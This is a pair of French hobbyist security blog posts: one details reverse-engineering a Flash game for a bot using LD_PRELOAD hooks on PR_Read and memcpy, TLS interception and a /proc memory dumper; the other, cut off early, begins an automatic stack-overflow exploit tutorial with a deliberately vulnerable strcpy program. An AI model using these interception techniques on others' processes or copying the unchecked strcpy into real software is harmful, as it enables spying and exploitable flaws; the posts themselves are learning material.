lundi, mai 20 2013

Dissection de programmes sous linux

J'ai longtemps pensé que pour s'initier au reverse le chemin "standard" consistait à apprendre à débuguer ses propres programmes autrement qu'à coup de printf. Avec le recul je me dit qu'il y a beaucoup d'autres chemins, et j'ai bien envie de partager avec vous celui qui consiste à observer les programmes des autres :) J'avais déjà parlé de python-ptrace qui permet de faire des trucs très sympa, mais aujourd'hui on va découvrir ensemble beaucoup d'autres astuces d'ingénierie inverse dans le but d'analyser le fonctionnement d'une application flash. Accrochez votre ceinture et re-mobilisez toutes les connaissances de base que vous avez sur le fonctionnement d'un PC parce qu'il va y avoir de la variété dans les techniques (mal) employées dans cet article-fleuve !

Engin de chantier - Based on a Creative Common photo published by Elvert Barnes on Flickr
Un avertissement s'impose : je suis pentesteur de métier, pas réverseur, donc j'opère dans ce domaine en amateur et j'utilise certainement beaucoup de détours peu efficaces pour arriver au même résultat que ce qu'un pro obtiendrait de façon plus élégante et rapide. Donc si vous retenez quoique ce soit de cet article vous êtes maintenant prévenus : c'est de l'amateurisme et il y a certainement pleins de choses qu'il ne faut pas faire comme je vais l'exposer.

Plantons maintenant le décor. Slow Frog (un français !) expliquait en 2011 comment il avait écrit un bot en python pour jouer à sa place à un petit jeu flash consistant à tenir une pizzeria. Le jeu était simple et l'article très amusant. J'avais plus ou moins oublié cet article jusqu'à ce que je tombe sur une conférence de deux gars ayant codés des bots pour des jeux plus conséquents[1] et je me suis alors dit que j'allais tenter le coup sur un jeu flash plus compliqué.

Petite digression à cette étape du récit : écrire un bot est probablement contre les CGU du jeu donc je ne vais pas le citer publiquement dans cet article (même si je doute que qui que ce soit ai envie de me chercher des noises pour avoir "triché" à un petit jeu flash). Sachez juste qu'il s'agit d'un jeu assez largement plus complexe que celui de la pizzeria, et qu'il fait intervenir un nombre non-négligeable d'information textuelle et/ou numériques.

Bref, je me suis donc dit que j'allais tenter d'écrire un bot pour ce petit jeu flash juste pour vérifier si j'en étais bien capable. La première optique emprunté était la plus intuitive : l'approche graphique. Le concept est simple : je prends un screenshot, puis je l'analyse. Pour ce faire j'ai mobilisé 3 briques logicielles de bases :

Ce qui m'a posé le plus de problème s'est avéré sans conteste la lecture des textes. En effet, la police utilisée était petite ce qui rendait la lecture difficile et les erreurs n'étaient pas rare (l'OCR se plantait environ une fois sur dix...ce qui est énorme dans le contexte du jeu qui m'intéresse). J'ai donc codé des vérification de cohérences entre chaque intervention de l'OCR, ce qui a pas mal aidé mais ne donnait toujours pas un résultat parfait. Après plusieurs mois à améliorer le système de temps en temps j'ai obtenu un taux de succès de 100% d'identifications correctes sur les icones diverses du jeu, mais toujours pas un taux de reconnaissance acceptable sur les informations textuelles. J'ai donc laissé tombé le projet, lassé de voir mon bot prendre des décisions farfelues toutes les 5mn sur la base d'information mal lues.

Plusieurs mois après je me suis remis à la tache, en décidant d'intercepter les communications entre le jeux flash et le serveur du jeu plutôt qu'en essayant de "lire" l'écran. En effet, l'information transmise par le serveur est déjà dans un format compréhensible par un logiciel, autant en profiter. Autre avantage de cette technique : les outils impliqués sont ceux que j'ai l'habitude de manier lorsque je fais des pentests web. Aussitôt pensé aussitôt fait : j'intercale un proxy d'interception entre mon navigateur web et internet. Déception : le jeu refuse de démarrer. Je passe le proxy en transparent : même problème. Je fabrique ma propre autorité de certification racine, je l'intègre aux autorité de confiance de mon navigateur, puis de mon OS, et je l'utilise pour générer dynamiquement les certificats SSL bidons à présenter au navigateur[4]. Hélas, j'ai toujours le même problème : le jeu flash refuse catégoriquement de contacter le serveur de jeu via mon proxy. Tristesse, déception, et incompréhension.

Qu'à celà ne tienne, je n'ai qu'à descendre plus bas dans l'OS pour intercepter ces communications réseau ! L'astuce à laquelle je pense alors est celle de LD_PRELOAD. Sous linux la variable d'environnement LD_PRELOAD permet de forcer le chargement d'une librairie partagée avant toutes les autres, ce qui autorise la surcharge de fonctions issues des librairies légitimes. Par exemple si je code une fonction printf puis que je la compile dans une librairie partagée et que je force le chargement de cette librairie en priorité via LD_PRELOAD, l'ensemble des processus que je lancerai ensuite feront appel à mon implémentation de printf plutôt qu'à celle de la libc :) L'idée derrière cette astuce c'est de surcharger les fonctions de communication réseau pour intercepter les informations envoyées et reçues dans le tunnel SSL[5].

Pour mettre en place cette astuce il va falloir que j'identifie quelles sont les fonctions susceptibles d'êtres utilisées par le jeu pour ses communications. Normalement la commande ltrace permet de tracer (i.e. afficher) l'ensemble des appels à des fonctions de librairies partagées qu'un programme effectue. L'utilisation aurait donc été immédiate dans mon cas : je lance ltrace sur le processus du plugin-container de firefox faisant tourner le jeu, je cherche dans les fonctions qui sont affichées celles qui ont un lien avec des communications SSL, puis je les re-code afin de les surcharger avec LD_PRELOAD pour intercepter les informations en transit. Oui mais voilà : chez moi ltrace fait systématiquement planter firefox :( . J'ai essayé de restreindre son champs d'investigation en ne demandant que les fonctions de certaines librairies (pensant que, peut-être, c'était la latence ajoutée qui faisait planter le soft) mais rien n'y fait : impossible d'utiliser ltrace :(

De déception j'ai alors tenté de tracer uniquement les appels systèmes (avec le plus standard strace), ce qui a marché à merveille. Malheureusement je me suis retrouvé noyé dans une tonne d'appel système avec peu d'espoir d'y trouver quoi que ce soit en rapport avec SSL de toute façon.

Après cette mini digression vers les appels système je suis retourné aux librairies partagées. Si je ne pouvais pas tracer les appels effectivement réalisés, je pouvais au moins tenter de les deviner. Pour ce faire j'ai dumpé la table de liaison dynamique du plugin flashplayer grace à la super commande objdump[6] :

$ objdump -T /opt/Adobe/flash-player/flash-plugin/libflashplayer.so

/opt/Adobe/flash-player/flash-plugin/libflashplayer.so:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000      DF *UND*	00000000  GLIBC_2.1   iconv
00000000      DF *UND*	00000000              gtk_main_iteration
00000000      DO *UND*	00000000              gtk_major_version
...
00000000      DF *UND*	00000000  NSS_3.4     CERT_DecodeCertFromPackage
00000000      DF *UND*	00000000              gdk_window_set_back_pixmap
00000000      DF *UND*	00000000              gdk_screen_get_display
00000000      DF *UND*	00000000              XFreeGC
00000000      DF *UND*	00000000              gtk_entry_get_text

L'option "-T" d'objdump affiche la liste des fonctions importées par le soft ciblé, ainsi que, parfois, la librairie dont elle est tirée. En lisant ces importations je n'ai réussi à identifier qu'un seul appel interessant pour l'interception de communications chiffrées : PR_Read[7]. Tant mieux pour moi, ça ne fait qu'un "suspect" à auditionner ! Pour la petite histoire sachez que cette fonction fait partie des utilities fournis par le framework Mozilla et qu'elle permet de lire dans une socket abstraite (qu'elle soit dotée d'une couche SSL ou non ne change pas l'appel à la fonction). Voici donc la surcharge que j'ai écrite :

#define _GNU_SOURCE //obligatoire pour utiliser "dlsym" qui n'est à priori pas POSIX. Plus d'info ici : http://linux.die.net/man/3/dlopen
#include <prio.h> //Pour avoir les headers mozilla
#include <stdint.h> 
PRInt32 PR_Read(PRFileDesc *fd, void *buf, PRInt32 amount) {
	// D'abord je retrouve la "vrai" fonction PR_Read
	static PRInt32 (*real_PR_Read)(PRFileDesc*, void*, PRInt32) = NULL;
	real_PR_Read = dlsym(RTLD_NEXT, "PR_Read");
	// Maintenant j'appelle la "vrai" fonction PR_Read
	PRInt32 res = real_PR_Read(fd, buf, amount);
	
	// Enfin je stocke les données reçus si jamais il y en a.
	if (res>0){
		FILE* f = fopen("/tmp/debug.log","a");
		fprintf(f, "PR_Read : %d\n",res);

		int i; char* mybuf = (char*) buf;
		fprintf(f, "<<<\n");
		for (i=0; i<res; i++) {
			if ((mybuf[i]>8) && (mybuf[i]<127)) {
				fprintf(f, "%c", mybuf[i]);
			} else {
				fprintf(f, "%x", mybuf[i]);
			}
		}
		fprintf(f, "\n>>>");
		fclose(f);
	}
	return res; // Et, bien sur, je retourne le résultat renvoyé par la "vrai" fonction PR_Read
}

La ligne de compilation ressemble à ça : gcc -O2 -I/usr/include/nspr -I/usr/include/nss -shared -ldl -fPIC -o surcharge.so surcharge.c

Les deux -I sont pour avoir les includes de prio.h (en fait je n'ai besoin que de l'un des deux, mais je ne sais plus lequel donc, de paresse, j'ai laissé les deux). Le -shared c'est parce que je veux compiler en librairie partagée, le -fPIC c'est pour obtenir du code qui fonctionne indépendament de sa position en mémoire (je me demande si le -shared n'inclus pas cette option d'ailleurs...) et le -ldl c'est pour être linké avec la librairie de link permettant de retrouver les fonctions originales que je surcharge via dlsym.[8]

Une fois compilé en *.so l'utilisation de ma fonction d'interception se fait comme ça :

$ export LD_PRELOAD="/home/ozwald/surcharge/surcharge.so"
$ firefox http://urldujeu.lan #Là on utilise normalement son programme
$ unset LD_PRELOAD # Une fois qu'on a fini on supprime la variable LD_PRELOAD pour que tout redevienne normal

Bonne surprise : quand j'utilise firefox mon fichier /tmp/debug.log contient bien des informations ! Mauvaise surprise : les informations contenues sont (très ? (trop ?)) nombreuses et à priori sans aucun rapport avec les actions du jeu (grace à un tail -f j'ai pu constater que, souvent, des actions se déroulaient au niveau du jeu mais ne déclenchaient aucune écriture dans le fichier de log). Déception...je n'ai visiblement pas intercepté la bonne fonction.

Appliquant le proverbe orc "quand ça ne marche pas en poussant, pousse plus fort" j'ai décidé de surcharger plus de fonctions. J'ai donc fait un plus simple objdump -x sur le plugin flash pour obtenir la liste des librairies linkées au lieu des fonctions. Dans le tas j'ai trouvé plusieurs librairies relatives à la communication et/ou au SSL :

Dynamic Section:
...
  NEEDED               libssl3.so
  NEEDED               libnss3.so
  NEEDED               libnssutil3.so
  NEEDED               libnspr4.so
...

Partant de cette liste j'ai identifié plusieurs fonctions appartenant à ces librairies et qui pourraient tremper dans de la communication. J'ai donc surchargé : PR_Read, PR_Recv, SSL_read, BIO_read, et BIO_gets !

Comme on pouvait s'y attendre ça a été un échec pitoyable. Aucune de ces fonctions additionnelles n'est utilisée par le jeu :(

La méthode orc ne fonctionnant visiblement pas j'ai opté pour...la méthode orc ! "Quand ça ne marche pas en poussant, pousse plus fort" (je suis parfois tétu), donc j'ai surchargé strncpy, strcpy, recv, fread, read, strtok, XDrawString, et Xutf8DrawString.

Cette méthode très subtile m'a octroyé une petite victoire : j'obtient des informations qui semblent correspondre aux évènements du jeu. Visiblement certaines de ces fonctions sont utilisées pour peupler la petite fenêtre de log qui résume les évènements de jeu en bas d'écran; donc j'obtient pas mal d'informations! Malheureusement je me suis vite rendu compte que celà ne suffirait pas pour écrire un bot robuste. En effet certaines informations étaient manquantes, il y avait énormément de "bruit", et la cohérence temporelle n'était pas assurée (i.e. certains évènements m'étaient remontés dans un ordre différent de ceux dans lequel ils se produisaient dans le jeu...je blame le multithread sur le coup).

Là j'ai l'impression d'être face à un mur... Devant mon incapacité à expliquer l'échec de la surcharge de PR_Read & co ainsi que l'échec silencieux de la méthode d'interception via proxy avec un certificat SSL pourtant "valide" je me suis dit que, peut-être, c'était le plugin flash qui faisait de la magie noire. Je me suis donc renseigné et j'ai trouvé Gnash et Lightspark qui sont deux logiciels complémentaires réalisant une implémentation libre d'un interpreteur flash. Rien de tel qu'un logiciel libre pour comprendre le fonctionnement de quelque chose donc j'ai installé gnash / lightspark et j'ai tenté de lancer le jeu. Malheureusement lightspark a planté :-( C'était prévisible de la part d'un logiciel jeune et dont les spécifications proviennent en grande partie de difficiles efforts d'ingénierie inverse du plugin flash officiel. J'ai forcé un petit peu dans cette voie en récupérant les versions de dévelopement[9] de gnash et lightspark et j'ai re-tenté le coup avec les même résultats (i.e. plantage de lightspark).

Je me retrouve donc encore une fois coincé...une nouvelle approche s'impose ! Je vais dumper la mémoire du processus grace à /proc/PID/maps et /proc/PID/mem dans l'espoir de trouver des choses intéressantes. Dans l'esprit j'étais parti pour faire quelque chose à la memory eye en fait.

Pour ceux qui l'ignore voici un petit résumé de l'esprit des fichiers que je vais utiliser : Sous linux le pseudo-système de fichier /proc/ contient pleins d'information sur le fonctionnement en cours du système. Par exemple /proc/cpuinfo contient des informations sur votre processeur. Chez moi il contient ça :

$ cat /proc/cpuinfo
processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 16
model		: 6
model name	: AMD Athlon(tm) II X2 250 Processor
...

En l'espèce nous allons nous intéresser aux fichiers /proc/PID/maps et /proc/PID/mem. Le plus simple à comprendre est /proc/PID/mem puisqu'il contient simplement la mémoire totale du système telle qu'elle est vue depuis le processus d'id PID. La mémoire adressable étant gigantesque nous allons cibler nos recherches grace à /proc/PID/maps qui contient la liste des segments de mémoire adressable qui sont effectivement alloués et accessibles par le processus en question. Pour faire un test vous pouvez lancer une commande "less" sur un fichier quelconque (ou juste un "top", comme vous préférez), récupérer son PID grace à ps aux | grep NomDeVotreCommande puis faire un cat sur le /proc/PID/map correspondant. Voilà ce que ça donne chez moi (j'ai lancé un top dans un autre shell):

$ ps aux | grep [t]op
ozwald    9064  0.0  0.0   2700  1136 pts/0    S+   12:33   0:17 top
$ cat /proc/9064/maps
08048000-08055000 r-xp 00000000 03:02 730853     /usr/bin/top
08055000-08056000 r--p 0000c000 03:02 730853     /usr/bin/top
08057000-0807b000 rw-p 00000000 00:00 0          [heap]
...
b76f1000-b76f2000 rw-p 00185000 03:02 938394     /lib/libc-2.15.so
...
b7739000-b773a000 rw-p 00044000 03:02 417799     /lib/libncurses.so.5.9
...
bfc5c000-bfc7e000 rw-p 00000000 00:00 0          [stack]
...

Comme vous pouvez le voir nous obtenons des informations pour chaque plage allouée. En particulier nous avons :

  • l'adresse de début (0xbfc5c000 pour la stack par exemple)
  • l'adresse de fin (0xbfc7e000 pour poursuivre notre exemple de la stack)
  • les permissions ("rw-p" pour la stack)

Nous pouvons donc à présent cibler toutes les plages qui sont à la fois "R"eadable et "W"ritable par le processus, et y chercher des élèments parlant. Pour lire le contenu de ces zones mémoire il suffit d'ouvrir /proc/PID/mem en lecture seule, puis de faire un seek jusqu'à l'offset de début de plage, et à y lire autant d'octets que la taille de la plage. Le petit script python[10] ci-dessous permet de dumper les plages mémoire du processus dont on passe le PID en paramètre :

#! /usr/bin/env python
import re
import sys
if len(sys.argv) != 2 :
	print "Merci de donner un PID en argument"
	print "Usage : %s PID"%sys.argv[0]
	sys.exit(1)

mypid=sys.argv[1]
mypid=str(mypid)
sys.stderr.write("PID = " + str(mypid) )
maps_file = open("/proc/"+mypid+"/maps", 'r')
mem_file = open("/proc/"+mypid+"/mem", 'r', 0)
for line in maps_file.readlines():  # for each mapped region
	m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r][-w])', line)
	if m.group(3) == 'rw':  # if this is a writeable region
		sys.stderr.write("\nOK : \n" + line+"\n")
		start = int(m.group(1), 16)
		if start > 281474976710655 :
			continue
		end = int(m.group(2), 16)
		sys.stderr.write( "start = " + str(start) + "\n")
		mem_file.seek(start)  # seek to region start
		chunk = mem_file.read(end - start)  # read region contents
		open("%d.dump"%start,'w').write(chunk) # dump contents to a file
	else :
        	sys.stderr.write("\nPASS : \n" + line+"\n")
maps_file.close()
mem_file.close()

Bon, avec un tel outil les perspectives d'analyse sont démultipliées ! Je lance donc le jeu, récupère le PID de l'interpreteur flash officiel via un ps aux | grep [f]lash, et dump le contenu de sa mémoire en invoquant le script ci-dessus. Je me retrouve avec quelques dizaines de fichiers de dump, chacun correspondant à une plage mémoire. Après quelques grep bien sentis[11] j'identifie des structures JSON qui semblent contenir des éléments de jeu et qui ressemblent à ça :

GameEvent:ClientArrival { "ClientID":"123", "ClientName":"Roger", ..}
GameStatus:OrdersWaiting { "Orders":[ {"ClientID":"123", "Product":"Pizza", ...}, {}, ..., {}] }

L'espoir renait parce que ces structures sont très intéressantes : d'une part elles contiennent toutes les informations dont j'ai besoin pour écrire un bot, et d'autre part le fait qu'elles soient en JSON me laisse penser qu'il s'agit bien là de l'information échangée en réseau dans le tunnel SSL et sur laquelle j'essaie de mettre la main depuis le début. J'ai donc creusé dans cette voie pour, finalement, obtenir un script python qui fonctionne en deux temps :

  1. Il identifie la zone mémoire où sont les structures JSON
  2. Une fois la zone identifiée avec certitude il dump cette zone en boucle en guettant des changements (ce qui signifierait l'arrivée d'un nouveau paquet d'information en provenance du serveur et donc l'arrivée d'un nouvel élément de jeu tel qu'un client).

La qualité d'information que j'ai obtenu avec ce script est exemplaire puisque, contrairement à la lecture de l'écran par OCR, je n'ai aucune erreur sur le contenu des texte. Malheureusement, lorsque plusieurs évènements se suivent très rapidement dans le temps (comme deux clients qui rentrent quasiment en même temps dans la pizzeria) mon script ne perçoit que l'un des deux évènements et rate l'autre qui se fait écraser en mémoire entre deux dumps. Il fallait s'y attendre puisque je fait du "poll" sur la mémoire au lieu d'avoir obtenu un système en "push" comme me le permettrait la surcharge d'une fonction par LD_PRELOAD :(

N'ayant pas envie d'abandonner j'ai poursuivi dans une "voie du milieu[12]" tirant partie de plusieurs des travaux effectués jusqu'à présent. Lorsque je dumpais les structures JSON directement depuis la mémoire j'ai remarqué que l'adresse où étaient les structures intéressantes ne bougeait quasiment jamais lors d'une même partie. Ces structures JSON n'arrivant pas là par magie (à moins que le plugin flash officiel pratique réellement la magie noire...) je me suis dit qu'identifier la fonction responsable de l'écriture de cette structure serait très intéressant puisque je pourrait peut-être la surcharger avec LD_PRELOAD.

La démarche que j'ai adopté a donc été la suivante :

  1. Lancer une partie
  2. Identifier le PID de l'interpreteur flash par ps aux | grep [f]lash
  3. Dumper la mémoire du processus et identifier l'adresse d'une structure JSON d'intérêt
  4. Attacher gdb au processus de l'interpreteur flash
  5. Poser un breakpoint sur les écritures à l'adresse de la structure JSON
  6. Afficher, automatiquement lors du déclenchement de ce breakpoint, le contenu de la mémoire (pour vérifier si j'ai bien une structure JSON comme je le pensait) ainsi que la backtrace des 4 derniers appels.

L'objectif de ce protocole étant d'identifier quelle partie de code est responsable de l'écriture de ces structures. En termes de commande voici ce que ça a donné :

$ ps aux | grep [f]lash
ozwald    9064  0.0  0.0   2700  1136 pts/0    S+   12:33   0:17 top
$ python memory_dump_and_seek.py 9064
Dumping...
Seeking json...
The json object is at address 0xaa72f000
$ gdb
(gdb) attach 9064
(gdb) watch *0xaa72f000
Hardware watchpoint 1: *0xaa72f000
(gdb) commands 1
>silent
>x/1s 0xaa72f000
>bt 4
>cont
>end
(gdb) cont
Continuing.
0xaa72f000:	"GameEvent:ClientArrival { "ClientID":"123", "ClientName":"Roger", ..}...
#0  0xb584c026 in ?? () from /lib/libc.so.6
#1  0x00000277 in ?? ()
#2  0xb2b2c1d9 in ?? () from /opt/Adobe/flash-player/flash-plugin/libflashplayer.so
#3  0xb2b33f9b in ?? () from /opt/Adobe/flash-player/flash-plugin/libflashplayer.so
0xaa72f000:	"GameEvent:ClientArrival { "ClientID":"124", "ClientName":"Paul", ..}...
#0  0xb584c026 in ?? () from /lib/libc.so.6
#1  0x00000277 in ?? ()
#2  0xb2b2c1d9 in ?? () from /opt/Adobe/flash-player/flash-plugin/libflashplayer.so
#3  0xb2b33f9b in ?? () from /opt/Adobe/flash-player/flash-plugin/libflashplayer.so
0xaa72f000:	"GameEvent:ClientArrival { "ClientID":"125", "ClientName":"Jean", ..}...
#0  0xb584c026 in ?? () from /lib/libc.so.6
#1  0x00000277 in ?? ()
#2  0xb2b2c1d9 in ?? () from /opt/Adobe/flash-player/flash-plugin/libflashplayer.so
#3  0xb2b33f9b in ?? () from /opt/Adobe/flash-player/flash-plugin/libflashplayer.so
...

Voilà qui sent bon. A chaque interruption :

  • la zone mémoire contient bien ce qui ressemble à une structure JSON valide
  • la backtrace est systématiquement la même
  • cerise sur le gateau : la dernière instruction appelée (i.e. celle qui est responsable de l'écriture mémoire) appartient à /lib/libc.so.6 et sera donc surchargeable via LD_PRELOAD (alors que si ça avait été une fonction interne à l'interpreteur flash j'aurai été plus ennuyé).

Par contre ce qui me surprend à ce moment là c'est que j'avais déjà fait des tentatives infructueuses en surchargeant une bonne pelleté de fonctions de la libc (strcpy et strncpy en particulier, souvenez-vous du début de cet article...il y a 3 pages :D ). Quelle fonction de la libc peut donc être responsable de ces écritures ? A cette étape je suis certain qu'un gourou de gdb pourrait répondre en une commande. Malheureusement je ne suis pas un gourou de gdb :( J'ai bien tenté de demander gentimment, mais sans succès :

(gdb) info symbol 0xb584c026
No symbol matches 0xb584c026.

Bon..."Quand ça ne marche pas en poussant, pousse plus fort" donc je vais adopter, encore une fois, une technique très subtile :

  1. Tout d'abord on active l'enregistrement des sorties de gdb dans un fichier texte, en prévision d'un gros tas de donnée à traiter : set logging on
  2. On demande à gdb d'afficher TOUTES les fonctions que le processus connait[13] : show functions.

Une fois ceci fait on quitte gdb et on se retrouve avec un fichier "gdb.txt" qui contient les logs de la session retranscrivant ce que nous avons eu sur la sortie standard et ressemblant à ça :

All defined functions:

Non-debugging symbols:
0x08049290  _init
0x080492b8  strerror_r@plt
0x080492c8  abort@plt
0x080492d8  sysconf@plt
...
=== NDLR : environ 40 000 lignes plus tard ===
...
0xb470e8f0  _nss_dns_getnetbyaddr_r
0xb470ec40  _nss_dns_getcanonname_r
0xffffe400  __kernel_sigreturn
0xffffe40c  __kernel_rt_sigreturn
0xffffe414  __kernel_vsyscall

Avec ces informations, retrouver la fonction que je cherche est simple comme bonjour puisqu'un grep et un sort suffisent. Pour rappel je cherche la fonction de la libc qui contient l'adresse "0xb584c026" puisque c'est l'instruction à cette adresse qui est responsable de l'écriture de la structure JSON que je recherche à l'adresse 0xaa72f000 :

$ grep -E 0xb584[bc] gdb.txt | sort -u
...
0xb584bea0  __strncasecmp_l
0xb584bea0  strncasecmp_l
0xb584bf20  memccpy
0xb584bf80  memcpy
0xb584c680  __strsep_g
0xb584c680  strsep
...

La coïncidence est trop belle : c'est memcpy le "coupable" (puisque 0xb584bf80 < 0xb584c026 < 0xb584c680) ! Il ne me reste donc plus qu'à surcharger memcpy pour vérifier la théorie. Attention cependant : surcharger strcpy et strncpy ne constituait pas vraiment un risque (ces fonctions sont censées traiter des chaines de caractères), mais surcharger memcpy est bien plus audacieux. En effet, memcpy est d'un usage beaucoup plus versatile et tout aussi courant (si ce n'est beaucoup plus). Quelques précautions s'imposent donc lors de l'écriture de la surcharge afin de s'assurer que l'on ne va intercepter que les mouvements de mémoire qui nous intéresse. D'une part ça nous facilitera le traitement des données interceptées et, d'autre part, ça va permettre de limiter le ralentissement des processus que nous surveillons même s'ils font très souvent appel à memcpy. J'ai donc adopté les précautions suivantes :

  • Je n'ai utilisé aucune tournure qui pourrait faire appel à une primitive memcpy lors de l'optimisation du compilateur (je ne sais pas s'il y a un risque d'appel récursif, mais je préfère ne pas tenter).
  • J'ai utilisé un fichier de dump différent par processus et par thread afin d'éviter les problèmes d'accès concurrents (j'aurai pu jouer avec des mutex, mais ça aurait potentiellement ralenti le schmilblick et puis c'est plus long à coder)
  • J'ai fait attention à ne pas trop introduire de bug dans mon code. Ca a l'air évident mais ça ne coute rien de le rappeler. Par exemple : avant d'accéder aux éléments de csrc pour vérifier si la zone mémoire copiée commence bien par la chaine de caractère que je veux ("Game") je m'assure que csrc contient au moins autant de caractères que ce que je vais lire...

Bref, voilà le code :

#include <sys/syscall.h> //for gettid
#include <sys/types.h> // this and below for getpid
#include <unistd.h>
void *memcpy(void *dest, const void *src, size_t n){
	static void* (*real_memcpy)(void* , const void*, size_t) = NULL;
	real_memcpy = dlsym(RTLD_NEXT, "memcpy");

	const char* csrc = (const char*) src;

	if ((n>4) && (csrc[0]==71/*G*/) && (csrc[1]==97/*a*/) && (csrc[2]==109/*m*/) && (csrc[3]==101/*e*/)){
		int write_this_much = 0;
		// I only want printable ascii :
		while ((write_this_much<n) && (csrc[write_this_much]>31) && (csrc[write_this_much]<127) ) { write_this_much++; }

		// Un fichier par processus et par thread :
		char filename[128];
		snprintf(filename,128,"/tmp/debug_%d_%d.log\0", (int)getpid(), (int)syscall(SYS_gettid) );

		FILE* f = fopen(filename,"a");
		fprintf(f, "memcpy : <<< ");
		fwrite(csrc, 1, write_this_much, f);
		fprintf(f, ">>>\n");
		fclose(f);
	}
	return real_memcpy(dest, src, n);
}

Malgré toutes ces précautions lorsque j'utilise ma surcharge en déclarant la librairie dans LD_PRELOAD firefox crashe lamentablement au démarrage :-( ...Et c'est là que j'ai un gros coup de chance : chromium-browser, lui, fonctionne comme si de rien n'était[14] :) ! Je ne sais même pas pourquoi j'ai essayé sur chromium cette fois-là alors que je n'avais fait aucun test dessus auparavant, mais je m'en félicite ;)

Bon, avec un navigateur qui marche je vais sur le jeu flash, et je me fait une petite partie. Une fois la partie terminée j'ouvre /tmp/debug_8613_8613.log et je constate avec joie qu'il contient l'ensemble des structures JSON que je voulais ! Aucune corruption, à priori aucun manque, et l'ordre semble correct.

En conclusion donc : j'en aurai bien ch*é pour arriver à ce résultat et je ne comprends pas encore tout (pourquoi firefox plante-t-il ? Est-ce-que le plugin flash embarque sa propre librairie SSL ?? Pourquoi ltrace fait-il planter les softs qu'il surveille ? etc.), mais j'ai également appris beaucoup (dumper proprement la mémoire d'un process, définir les commandes à lancer automatiquement quand gdb déclenche un breakpoint, définir un breakpoint sur une écriture en mémoire, ...) et surtout : J'ai réussi à faire ce que je voulais[15] :-D !!!

Notes

[1] Eux, avaient une motivation pécuniaire, contrairement à Slow Frog.

[2] En guise de rafinnement je prenais le screenshot dans un répertoire appartenant à un volume monté en tmpfs histoire d'être certain de ne pas fatiguer le disque par les écritures de screenshot répétées

[3] J'ai également testé tesseract, un autre logiciel de reconnaissance de caractère (OCR), mais j'ai trouvé qu'il donnait globalement des résultats moins bons.

[4] Merci OpenSSL et BURP :)

[5] Avec cette même fonctionnalité de LD_PRELOAD certains ont réalisé des keylogger, des rootkits, etc.

[6] Vous pouvez également utiliser nm -D à la place de objdump -T

[7] Je ne connaissais pas cette fonction avant de tomber dessus lors de ces recherche, je l'ai donc identifiée par tatonnement.

[8] Pfiou ça en fait des options de gcc...J'espère que je n'ai pas dit trop de bétises d'ailleurs :-D

[9] J'aime bien l'expression "bleeding edge" plutôt que "version de développement", mais bon...limitons les anglicismes quand ils ne sont pas nécessaires ^^

[10] Script largement pompé depuis le net; googlez pour retrouver la source originale, je ne l'ai malheureusement pas noté.

[11] Par exemple j'ai lancé des grep sur le nom des clients de la pizzeria que je pouvais voir à l'écran lors du dump de la mémoire.

[12] Comme le diraient certains sages.

[13] Attention, dumper l'ensemble des fonctions retourne beaucoup de résultats et ça peut donc prendre du temps. Dans mon cas pratique celà signifiait que le freeze du jeu était assez long pour me faire perdre la partie. Etant donné que l'adresse d'enregistrement des JSON changeait à chaque démarrage de partie, dumper les fonctions devait être la dernière étape de mon processus d'analyse :)

[14] En fait chromium-browser rame assez notablement, mais il fonctionne sans montrer la moindre envie de planter.

[15] Bon, il me reste à remplacer les fichiers par des tubes nommés (mkfifo) puis à écrire la partie logicielle qui va lire le flux d'information en temps réel dans ces tubes, puis à écrire la partie "IA" qui va décider comment jouer, puis à écrire la partie qui va envoyer les actions au jeu...Mais le plus difficile est fait, si si je vous jure ;) D'ailleurs, le plus difficile étant fait, je ne sais pas si ça m'intéresse encore de terminer ce projet lol

lundi, juin 21 2010

Saine émulation

J'ai récemment assisté à mon premier SSTIC[1] et lors de l'une ou de l'autre des conférences l'outil Metasm a attiré mon attention. Deux jours après être rentré du SSTIC je tombe sur un alléchant article d'un gars de SOGETI qui parle justement de Metasm. Je dévore l'article en question[2] (qui consiste, en gros, à écrire un script de génération automatique d'exploit pour stack overflow en partant d'une appli vulnérable...miam) et une fois l'article fini une question s'impose à moi : Tout leur (joli) travail est en ruby[3] ...saurais-je les copier en python ?!

Truck race - Creative Common by tonylanciabeta on Flickr
Tout d'abord résumons le principe du script que l'on souhaite réaliser. En une phrase ce script doit prendre en argument un programme vulnérable à un stack overflow, forger tout seul un payload capable d'exploiter cette vulnérabilité (pour spawner un shell par exemple), puis tenter l'exploitation en boucle jusqu'à ce qu'elle réussisse. Ca c'est la version simple, dans les détails c'est infiniment plus riche et passionant. Mais avant de passer aux détails, voici le programme test pour lequel nous allons tenter de forger automatiquement un exploit[4] :

#include <stdio.h>
#include <string.h>

// gcc main.c -mpreferred-stack-boundary=2 -o main

int main(int argc, char * argv[])
{
        char buff[128];

        if(argc<2)
                return 0xffe4;

        strcpy(buff, argv[1]);

        return 0;
}

Bien, on voit rapidement où se situe le stack overflow que l'on souhaite exploiter et comment l'exploiter (pour les plus mauvais en C d'entre vous : il suffit d'envoyer un gros argument en ligne de commande et, s'il est trop gros, il dépassera de la pile lorsqu'il sera copié dans "buff" par "strcpy" :) ). Il est maintenant temps de songer sérieusement à la façon dont on va forger l'exploit à passer à ce petit programme !

Premier problème qui se pose à nous : quelle taille est disponible sur la pile avant d'écraser la valeur sauvegardée d'EIP ? En regardant le code source rapidement on se doute que ça ne doit pas être bien loin de 128 octets, mais on va faire semblant de ne pas savoir et on va coder notre script pour qu'il trouve tout seul la taille disponible (après tout le but du jeu c'est aussi de faire un script qui pourrait aider à générer des exploit pour de vrais programme vulnérables à ce type d'attaques). Pour comprendre la méthode proposée dans l'article d'Ivan je vais faire un petit rappel technique[5] :

<rappel> Les appels de fonctions se terminent toujours par l'enchainement d'instructions assembleurs "LEAVE" puis "RET". Dans notre cas on obtient d'ailleurs ça dans gdb :

$gdb main
(gdb)disass main
[...]
0x08048426 <main+66>:   leave  
0x08048427 <main+67>:   ret
End of assembler dump.

